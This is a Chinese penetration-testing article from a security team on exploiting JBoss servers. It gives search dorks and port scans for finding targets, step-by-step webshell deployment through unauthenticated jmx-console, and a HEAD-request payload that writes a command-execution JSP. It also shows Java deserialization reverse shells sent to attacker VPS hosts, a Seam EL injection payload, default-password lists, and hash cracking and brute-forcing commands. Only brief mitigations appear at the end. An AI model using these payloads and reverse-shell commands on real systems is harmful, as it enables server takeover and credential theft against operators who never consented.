声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss高危漏洞主要涉及到以下两种。
第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞,例如:CVE-2007-1036
,CVE-2010-0738
,CVE-2006-5750
以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability
。
另一种是利用Java反序列化进行远程代码执行的漏洞,例如:CVE-2015-7501
,CVE-2017-7504
,CVE-2017-12149
,CVE-2013-4810
。
JBoss主要版本下载链接:https://teddysun.com/260.html
https://jbossas.jboss.org/downloads/
以jboos 7.1.1
为例进行部署。
1、首先准备好jdk环境和相应的系统环境变量
2、然后执行C:\jboss-as-7.1.1.Final\bin>add-user.bat
脚本,添加管理控制台用户,在Realm
中保持默认。
3、编辑 C:\jboss-as-7.1.1.Final\standalone\configuration\standalone.xml
文件,让jboss管理控制台和一些其它入口都对外开放,默认端口为8080
4、运行C:\jboss-as-7.1.1.Final\bin\standalone.bat
脚本来启动jboss7
即可
5、访问http://10.211.55.7:8080/
和jboss 7
的默认管理控制台,发现已部署成功
1、公开搜索引擎,google
语法、shodan
、fofa
等
fofa dork app="JBoss"
/web-console/Invoker
/invoker/JMXInvokerServlet
/jmx-console
/web-console
inurl:/console/ intitle:"JBoss Management"
inurl:/jmx-console/
inurl:/admin-console/
intitle:"Welcome to JBoss"
intitle:"jboss management console" "application server" version inurl:"web-console"
intitle:"JBoss Management Console – Server Information" "application server" inurl:"web-console" OR inurl:"jmx-console"
2、通过常规端口扫描来发现,另外直接在浏览器中查看http响应头中的 X-Powered-By
字段内容一般也能看到
实战中jboss很可能开放8080,9990,9999
这三个端口,也可以全端口扫描避免遗漏
# nmap -sT -sV -Pn --open -p 1-65535 -v -n 10.211.55.7-10
此漏洞主要是由于JBoss
中/jmx-console/HtmlAdaptor
路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx
控制台,并在其中执⾏任何功能。
Jboss4.x以下
1、首先访问http://10.211.55.7:8080/jmx-console/
然后找到jboss.deployment
(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner
点进去(通过 url 的方式远程部署)
2、找到页面中的void addURL()
选项来远程加载war包来部署。
3、点击invoke
之后会提示部署成功,如下
4、部署完成后回到flavor=URL,type=DeploymentScanner
页面点击下属性列表中的”Apply change”
5、最后访问⽊⻢地址为http://10.211.55.7:8080/bm1/index.jsp
6、通常像上面这样部署的webshell
,物理路径默认都会在以下目录下
C:\Users\tale\Desktop\jboss-4.2.3.GA\server\default\tmp\deploy\tmp1704732146918985209bm1-exp.wa
这个目录最多用作临时维持下权限,所以可以把shell传到jmx-console
的默认目录来巩固权限
C:\Users\tale\Desktop\jboss-4.2.3.GA\server\default\deploy\jmx-console.war
此漏洞主要是由于JBoss
中/jmx-console/HtmlAdaptor
路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。该漏洞利⽤的是后台中jboss.admin
-> DeploymentFileRepository
-> store()
⽅法,通过向四个参数传⼊信息,达到上传shell
的⽬的,其中arg0传⼊的是部署的war包名字,arg1
传⼊的是上传的⽂件的⽂件名,arg2
传⼊的是上传⽂件的⽂件格式,arg3
传⼊的是上传⽂件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现,arg1
和arg2
可以进⾏⽂件的拼接,例如arg1=she,arg2=ll.jsp
。这个时候服务器还是会进⾏拼接,将shell.jsp
传⼊到指定路径下
Jboss4.x以下
输⼊url:http://10.211.55.7:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
,定位到store
⽅法
传⼊相应的值,即可getshell
该漏洞利⽤⽅法跟CVE-2007-1036
⼀样,只是绕过了get和post传输限制,利⽤
head传输⽅式发送payload
jboss4.2.0、jboss 4.3.0
利⽤head传输⽅式,payload如下:
HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
HTTP/1.1
Host: hostx:portx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Administration Console
存在默认密码admin admin
,我们可以登录到后台部署war包getshell
全版本
以jboss6.0
版本为例
1、jboss6.x
之后可以直接访问管理控制台/admin-console
直接上传war包进行部署(通常默认密码为admin:admin
)
2、输⼊弱⼝令登录进去
3、点击Web application
,然后点击右上⻆的add
4、把war包传上去即可getshell
4、也可以借助jboss
漏洞利用的jexboss exp
工具集,完全一键纯傻瓜化利用,具体使用过程如下:
该工具适用于jboss < 5.x
的版本,中间还有一些关于java
反序列化,包括struts2
和 jenkins
的漏洞利用
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -u http://ip:8080
运行之后默认会自动匹配检测所有漏洞规则,如果漏洞存在则会逐个询问你是否要对其进行利用,利用成功后,便会返回一个半交互的jexboss shell
shell> help
# 通过 help 可以看到更多的关于 jexboss shell 内置的高级用法
shell> jexremote=ip:110
# 使用该命令可以直接反弹远程系统shell回来
此漏洞利用原理和CVE-2007-1036
漏洞相同,唯一的区别是CVE-2006-5750
漏洞利用methodIndex
进行store()
方法的调用。其中methodIndex
是通过方法的编号进行调用。
此漏洞主要是由于jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet
目录下的ReadOnlyAccessFilter.class
文件中的doFilter
方法,再将序列化传入ois
中,并没有进行过滤便调用了readObject()
进行反序列化,导致传入的携带恶意代码的序列化数据执行,造成了反序列化的漏洞。
JbossAS 5.x , JbossAS 6.x
1、首先从http响应头和title中一般情况下都能看到信息来确定目标 jboss 版本是否在此漏洞版本范围
2、确定目标的 jboss 是否存在此漏洞,直接访问 poc url: http://192.168.3.81:8080/invoker/readonly
如果出现报 500 错误,则说明目标机器可能存在此漏洞
3、明确目标jboss
可能存在此漏洞以后,接下来借助JavaDeserH2HC
来完成整个利用过程
git clone https://github.com/joaomatosf/JavaDeserH2HC.git
cd JavaDeserH2HC/
4、首先尝试直接反弹shell
,利用JavaDeserH2HC
创建好用于反弹shell
的 payload,如下
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:端口
4、然后尝试利用curl
发送payload
到目标机器上执行后,发现vps已成功接弹回的shell
curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
JBoss AS 4.x
及之前版本中,JbossMQ
实现过程的JMS over HTTP Invocation Layer
的HTTPServerILServlet.java
⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。
JBoss AS 4.x
及之前版本
1、首先验证目标jboss
是否存在此漏洞,直接访问
poc url : http://10.211.55.7:8080/jbossmq-httpil/HTTPServerILServlet/
2、如果返回以下内容,则说明目标的jboss
可能存在此漏洞,而后继续尝试进一步利用即可
3、此处我们使用JavaDeserH2HC
工具来利用该漏洞,尝试直接弹回一个目标系统的原生 cmd shell
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 10.211.55.16:53
curl http://10.211.55.7:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser
由于JBoss
中invoker/JMXInvokerServlet
路径对外开放,JBoss的jmx
组件⽀持Java反序列化
实际上主要集中在 jboss 6.x 版本上:
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
验证是否存在此漏洞,直接访问
poc url: http://target/invoker/JMXInvokerServlet
如果像下面一样直接提示下载,则说明目标可能存在此漏洞
下面使用JavaDeserH2HC 生成反弹 shell 的 payload
# cd JavaDeserH2HC/
# javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公网vps的ip:端口号
# curl http://target/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
打开nc界⾯,发现shell已经弹回成功了。
此漏洞和CVE-2015-7501
漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServlet
和EJBInvokerServlet
利用的是org.jboss.invocation.MarshalledValue
进行的反序列化操作,而web-console/Invoker
利用的是org.jboss.console.remote.RemoteMBeanInvocation
进行反序列化并上传构造的文件。
实际上主要集中在 jboss 6.x
版本上:
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径
是 /invoker/EJBInvokerServlet
JBossSeam
是一个JavaEE5
框架,把JSF与EJB3.0
组件合并在一起,从而为开发基于Web的企业应用程序提供一个最新的模式。JBossSeam
处理某些参数化JBossEL
表达式的方式存在输入过滤漏洞。如果远程攻击者能够诱骗通过认证的JBossSeam
用户访问特制的网页,就可能导致执行任意代码。
Redhat Jboss_enterprise_application_platform:4.3.0
1、此漏洞是通过seam
组件中插入#{payload}
进行模板注入,可以在以下链接中插入要执行的方法,通过Java反射机制来获取到(Java.lang.Runtime.getRuntime().exec()
方法),从而可以传入任何想要执行的命令。
/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}
2、POC如下,其中cmd代表传入的远程命令。在/admin-console/login.seam
路径下,POST传入构造好的payload
,即可对此漏洞利用。
actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('Java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('Java.lang.Runtime')).exec(cmd)}
搜集jboss
中的所有密码,可以为后续内网横向移动提前做好准备
在7.x以下的版本,jboss用户密码通常默认都是直接明文保存在下面的文件中的
C:\Users\tale\Desktop\jboss-4.2.3.GA\server\default\conf\propsjmx-console-users.properties
而高版本的jboss
和wildfly
通常都是加密保存在下面的文件中,默认密码加密格式为 HEX( MD5( username ':' realm ':' password))
C:\services\wildfly-10.1.0.Final\standalone\configuration\mgmt-users.properties
john
也对此算法支持,编号为1591
,可以对其进行破解
# john --wordlist=password.list --format=dynamic_1591
jboss 6.x-7.x
版本的默认管理控制台入口,因此版本默认没有强制复杂密码策略,所以比较容易出现弱口令。
Jboss 的常见弱口令:
admin:admin
admin:jboss
admin:password1!
jboss:admin
admin:ezoffice
jboss
从8开始正式更名为WildFly
,在WildFly8
之后的版本添加控制台用户时默认就会执行强密码策略,所以相对于之前低版本的jboss
,针对WildFly
之后版本的弱口令推荐wildPwn
这款爆破工具
# git clone https://github.com/hlldz/wildPwn.git
# cd wildPwn
# python wildPwn.py -m brute --target 192.168.3.108 --port 8080 -user userList.txt -pass passList.txt
1、通过账号密码登到 wildlfy
控制台页面后,找到 Deployments
选项,上传war
包
2、此处勾选启用Enable
3、提示成功后会直接部署到jboss
根目录下,访问http://127.0.0.1:8080/cmd/cmd.jsp
4、访问木马webshell
使用如下工具时,开启wireshark发现该工具只是探测目标是否存在CVE-2015-7501
filter : ip.addr==192.168.3.81 and tcp.port==8080 and http
通过简单的观察请求我们发现,常用的漏洞利用工具所探测的漏洞都已经非常老了,绝大多数用的还是CVE-2015-7501
。
1.设置强口令
2.尽量不要开放到公网
3.在各个对外开放组件进行输入验证
4.限制来源IP
5.升级到最新版
https://www.freebuf.com/vuls/186948.html
https://klionsec.github.io/
https://www.jianshu.com/p/e34062e0a6f1
https://github.com/joaomatosf/JavaDeserH2HC
https://www.onebug.org/websafe/75730.html
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号: